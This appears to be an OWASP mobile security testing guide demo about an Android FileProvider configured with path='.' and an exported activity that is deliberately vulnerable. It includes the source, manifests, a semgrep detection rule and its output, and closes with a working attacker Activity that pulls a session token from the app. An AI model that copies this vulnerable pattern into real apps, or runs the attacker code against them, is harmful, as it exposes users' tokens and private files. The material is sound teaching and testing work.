Skip to content

MASTG-DEMO-0122: Oversharing via FileProvider with Unrestricted Path Configuration

Download MASTG-DEMO-0122 APK Open MASTG-DEMO-0122 Folder Build MASTG-DEMO-0122 APK

Sample

The code below sets up a FileProvider to share lab report PDFs with external apps (e.g., email clients or document viewers). While the provider is not directly exported (android:exported="false"), it enables URI grants via android:grantUriPermissions="true". The filepaths.xml resource uses path=".", which exposes the entire internal filesDir, including sensitive files such as session_token.txt, to any app that receives a URI grant.

The Android Manifest exports the activity ShareReportActivity that can be queried by any other app.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.owasp.mastestapp

import android.app.Activity
import android.content.Context
import android.content.Intent
import android.os.Bundle
import androidx.core.content.FileProvider
import java.io.File

// SUMMARY: Demonstrates oversharing via FileProvider misconfiguration where filepaths.xml uses path="." exposing the entire internal files directory.
// FAIL: [MASTG-TEST-0357] FileProvider is configured with path="." in filepaths.xml, which exposes all files in filesDir — not just the intended reports subdirectory.

class MastgTest(private val context: Context) {

    fun mastgTest(): String {
        val r = DemoResults("0122")
        return try {
            File(context.filesDir, "session_token.txt")
                .writeText("sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b")
            File(context.filesDir, "reports").mkdirs()
            File(context.filesDir, "reports/lab_result_3829.pdf")
                .writeText("%PDF-1.4 stub: cholesterol 195, HbA1c 6.8")

            r.add(
                Status.FAIL,
                "FileProvider path=\".\" exposes all of filesDir. " +
                        "Intended: content://org.owasp.mastestapp.fileprovider/app_files/reports/lab_result_3829.pdf — " +
                        "but session_token.txt is also reachable via the same authority."
            )
            r.toJson()
        } catch (e: Exception) {
            r.add(Status.ERROR, "${e.javaClass.simpleName}: ${e.message}")
            r.toJson()
        }
    }

    // INTENTIONALLY VULNERABLE: exported activity that wraps attacker-controlled
    // filenames into FileProvider URIs and grants read access back to the caller.
    class ShareReportActivity : Activity() {
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)

            val requested = intent.getStringExtra("file_name") ?: run {
                setResult(RESULT_CANCELED); finish(); return
            }

            val file = File(filesDir, requested)
            val uri = FileProvider.getUriForFile(
                this,
                "org.owasp.mastestapp.fileprovider",
                file
            )

            val result = Intent().apply {
                data = uri
                addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
            }
            setResult(RESULT_OK, result)
            finish()
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.owasp.mastestapp;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.core.content.FileProvider;
import java.io.File;
import java.io.IOException;
import kotlin.Metadata;
import kotlin.io.FilesKt;
import kotlin.jvm.internal.Intrinsics;
import org.xmlpull.v1.XmlPullParserException;

/* JADX INFO: compiled from: MastgTest.kt */
/* JADX INFO: loaded from: classes3.dex */
@Metadata(d1 = {"\u0000\u001a\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\u000e\n\u0002\b\u0002\b\u0007\u0018\u00002\u00020\u0001:\u0001\bB\u000f\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0004\b\u0004\u0010\u0005J\u0006\u0010\u0006\u001a\u00020\u0007R\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\t"}, d2 = {"Lorg/owasp/mastestapp/MastgTest;", "", "context", "Landroid/content/Context;", "<init>", "(Landroid/content/Context;)V", "mastgTest", "", "ShareReportActivity", "app_debug"}, k = 1, mv = {2, 0, 0}, xi = 48)
public final class MastgTest {
    public static final int $stable = 8;
    private final Context context;

    public MastgTest(Context context) {
        Intrinsics.checkNotNullParameter(context, "context");
        this.context = context;
    }

    public final String mastgTest() {
        DemoResults r = new DemoResults("0122");
        try {
            FilesKt.writeText$default(new File(this.context.getFilesDir(), "session_token.txt"), "sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b", null, 2, null);
            new File(this.context.getFilesDir(), "reports").mkdirs();
            FilesKt.writeText$default(new File(this.context.getFilesDir(), "reports/lab_result_3829.pdf"), "%PDF-1.4 stub: cholesterol 195, HbA1c 6.8", null, 2, null);
            r.add(Status.FAIL, "FileProvider path=\".\" exposes all of filesDir. Intended: content://org.owasp.mastestapp.fileprovider/app_files/reports/lab_result_3829.pdf — but session_token.txt is also reachable via the same authority.");
            return r.toJson();
        } catch (Exception e) {
            r.add(Status.ERROR, e.getClass().getSimpleName() + ": " + e.getMessage());
            return r.toJson();
        }
    }

    /* JADX INFO: compiled from: MastgTest.kt */
    @Metadata(d1 = {"\u0000\u0018\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\t\b\u0007¢\u0006\u0004\b\u0002\u0010\u0003J\u0012\u0010\u0004\u001a\u00020\u00052\b\u0010\u0006\u001a\u0004\u0018\u00010\u0007H\u0014¨\u0006\b"}, d2 = {"Lorg/owasp/mastestapp/MastgTest$ShareReportActivity;", "Landroid/app/Activity;", "<init>", "()V", "onCreate", "", "savedInstanceState", "Landroid/os/Bundle;", "app_debug"}, k = 1, mv = {2, 0, 0}, xi = 48)
    public static final class ShareReportActivity extends Activity {
        public static final int $stable = 0;

        @Override // android.app.Activity
        protected void onCreate(Bundle savedInstanceState) throws XmlPullParserException, IOException {
            super.onCreate(savedInstanceState);
            String requested = getIntent().getStringExtra("file_name");
            if (requested == null) {
                ShareReportActivity $this$onCreate_u24lambda_u240 = this;
                $this$onCreate_u24lambda_u240.setResult(0);
                $this$onCreate_u24lambda_u240.finish();
                return;
            }
            File file = new File(getFilesDir(), requested);
            Uri uri = FileProvider.getUriForFile(this, "org.owasp.mastestapp.fileprovider", file);
            Intent result = new Intent();
            result.setData(uri);
            result.addFlags(1);
            setResult(-1, result);
            finish();
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:windowSoftInputMode="adjustResize"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="org.owasp.mastestapp.fileprovider"
            android:exported="false"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/filepaths" />
        </provider>

        <activity
            android:name="org.owasp.mastestapp.MastgTest$ShareReportActivity"
            android:exported="true" />

    </application>

</manifest>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="35"
    android:compileSdkVersionCodename="15"
    package="org.owasp.mastestapp"
    platformBuildVersionCode="35"
    platformBuildVersionName="15">
    <uses-sdk
        android:minSdkVersion="29"
        android:targetSdkVersion="35"/>
    <permission
        android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
        android:protectionLevel="signature"/>
    <uses-permission android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
    <application
        android:theme="@style/Theme.MASTestApp"
        android:label="@string/app_name"
        android:icon="@mipmap/ic_launcher"
        android:debuggable="true"
        android:allowBackup="true"
        android:supportsRtl="true"
        android:extractNativeLibs="false"
        android:fullBackupContent="@xml/backup_rules"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory"
        android:dataExtractionRules="@xml/data_extraction_rules">
        <activity
            android:theme="@style/Theme.MASTestApp"
            android:name="org.owasp.mastestapp.MainActivity"
            android:exported="true"
            android:windowSoftInputMode="adjustResize">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider
            android:name="androidx.core.content.FileProvider"
            android:exported="false"
            android:authorities="org.owasp.mastestapp.fileprovider"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/filepaths"/>
        </provider>
        <activity
            android:name="org.owasp.mastestapp.MastgTest.ShareReportActivity"
            android:exported="true"/>
        <activity
            android:name="androidx.compose.ui.tooling.PreviewActivity"
            android:exported="true"/>
        <activity
            android:theme="@android:style/Theme.Material.Light.NoActionBar"
            android:name="androidx.activity.ComponentActivity"
            android:exported="true"/>
        <provider
            android:name="androidx.startup.InitializationProvider"
            android:exported="false"
            android:authorities="org.owasp.mastestapp.androidx-startup">
            <meta-data
                android:name="androidx.emoji2.text.EmojiCompatInitializer"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.lifecycle.ProcessLifecycleInitializer"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.profileinstaller.ProfileInstallerInitializer"
                android:value="androidx.startup"/>
        </provider>
        <receiver
            android:name="androidx.profileinstaller.ProfileInstallReceiver"
            android:permission="android.permission.DUMP"
            android:enabled="true"
            android:exported="true"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>
1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path name="app_files" path="." />
</paths>
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <files-path
        name="app_files"
        path="."/>
</paths>

Steps

Let's run our semgrep rule against the filepaths.xml resource.

../../../../rules/mastg-android-fileprovider-broad-scope.yml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
rules:
  - id: mastg-android-fileprovider-broad-path-scope
    languages: [xml]
    severity: WARNING
    metadata:
      summary: Detects FileProvider path elements declared with an overly broad scope (path=".").
      masvs:
        - MASVS-PLATFORM
      references:
        - https://developer.android.com/reference/androidx/core/content/FileProvider#specifying-available-files
    message: >
      [MASVS-PLATFORM] FileProvider path element is declared with path=".",
      which maps the entire corresponding base directory into the provider's
      addressable namespace. Any file under that directory becomes reachable
      through FileProvider.getUriForFile(), including secrets or files added
      later. Narrow the path to a specific subdirectory containing only files
      intended for sharing (e.g. path="reports/").
    pattern-either:
      - pattern: |
          <files-path ... path="." ... />
      - pattern: |
          <cache-path ... path="." ... />
      - pattern: |
          <external-path ... path="." ... />
      - pattern: |
          <external-files-path ... path="." ... />
      - pattern: |
          <external-cache-path ... path="." ... />

  - id: mastg-android-fileprovider-root-path
    languages: [xml]
    severity: WARNING
    metadata:
      summary: Detects use of <root-path> in FileProvider configuration.
      masvs:
        - MASVS-PLATFORM
      references:
        - https://developer.android.com/reference/androidx/core/content/FileProvider#specifying-available-files
    message: >
      [MASVS-PLATFORM] FileProvider declares <root-path>, which maps the
      provider root to the device root filesystem ("/"). This scope is far
      too broad for secure file sharing and should be replaced with a narrower
      path element such as <files-path> or <cache-path> scoped to a specific
      subdirectory.
    pattern: |
      <root-path ... />
run.sh
1
2
#!/bin/bash
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-fileprovider-broad-scope.yml ./filepaths_reversed.xml --text | sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g" > output.txt

Observation

The rule flags the files-path element with path=".".

output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌────────────────┐
 1 Code Finding 
└────────────────┘

    filepaths_reversed.xml
    ❯❱ rules.mastg-android-fileprovider-broad-path-scope
          [MASVS-PLATFORM] FileProvider path element is declared with path=".", which maps the entire       
          corresponding base directory into the provider's addressable namespace. Any file under that       
          directory becomes reachable through FileProvider.getUriForFile(), including secrets or files added
          later. Narrow the path to a specific subdirectory containing only files intended for sharing (e.g.
          path="reports/").                                                                                 

            3 <files-path
            4     name="app_files"
            5     path="."/>

Evaluation

The test case fails because the FileProvider path configuration exposes the entire filesDir instead of only the intended reports/ subdirectory.

  • The mastg-android-fileprovider-broad-scope.yml rule flags path="." in filepaths.xml, confirming that any file in the app's internal storage can be shared via a URI grant — not just the intended lab report PDFs.
  • An attacker who tricks the app into sharing a URI (e.g., by sending a crafted intent) can request session_token.txt or any other file under filesDir using the same org.owasp.mastestapp.fileprovider authority.
  • The fix is to restrict the path to the specific subdirectory: path="reports/".

An attacker app could retrieve the secret token from the provider app and print it to the logs.

class AttackerActivity : ComponentActivity() {
    private val launcher = registerForActivityResult(
        ActivityResultContracts.StartActivityForResult()
    ) { result ->
        val uri = result.data?.data ?: run {
            Log.e("EXFIL", "no URI returned"); return@registerForActivityResult
        }
        contentResolver.openInputStream(uri)?.bufferedReader()?.use { reader ->
            Log.e("EXFIL", "Got from victim: ${reader.readText()}")
        }
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val intent = Intent().apply {
            setClassName(
                "org.owasp.mastestapp",
                "org.owasp.mastestapp.MastgTest\$ShareReportActivity"
            )
            // attacker picks the target file
            putExtra("file_name", "session_token.txt")
        }
        launcher.launch(intent)
    }
}

When using adb logcat -s EXFIL you will see the output of the attacker app.

adb logcat -s EXFIL
--------- beginning of main
<timestamp> 12521 12521 E EXFIL   : Got from victim: sess_7f3a9b1e4d2c8f0a5e6b3c1d9f4a2e7b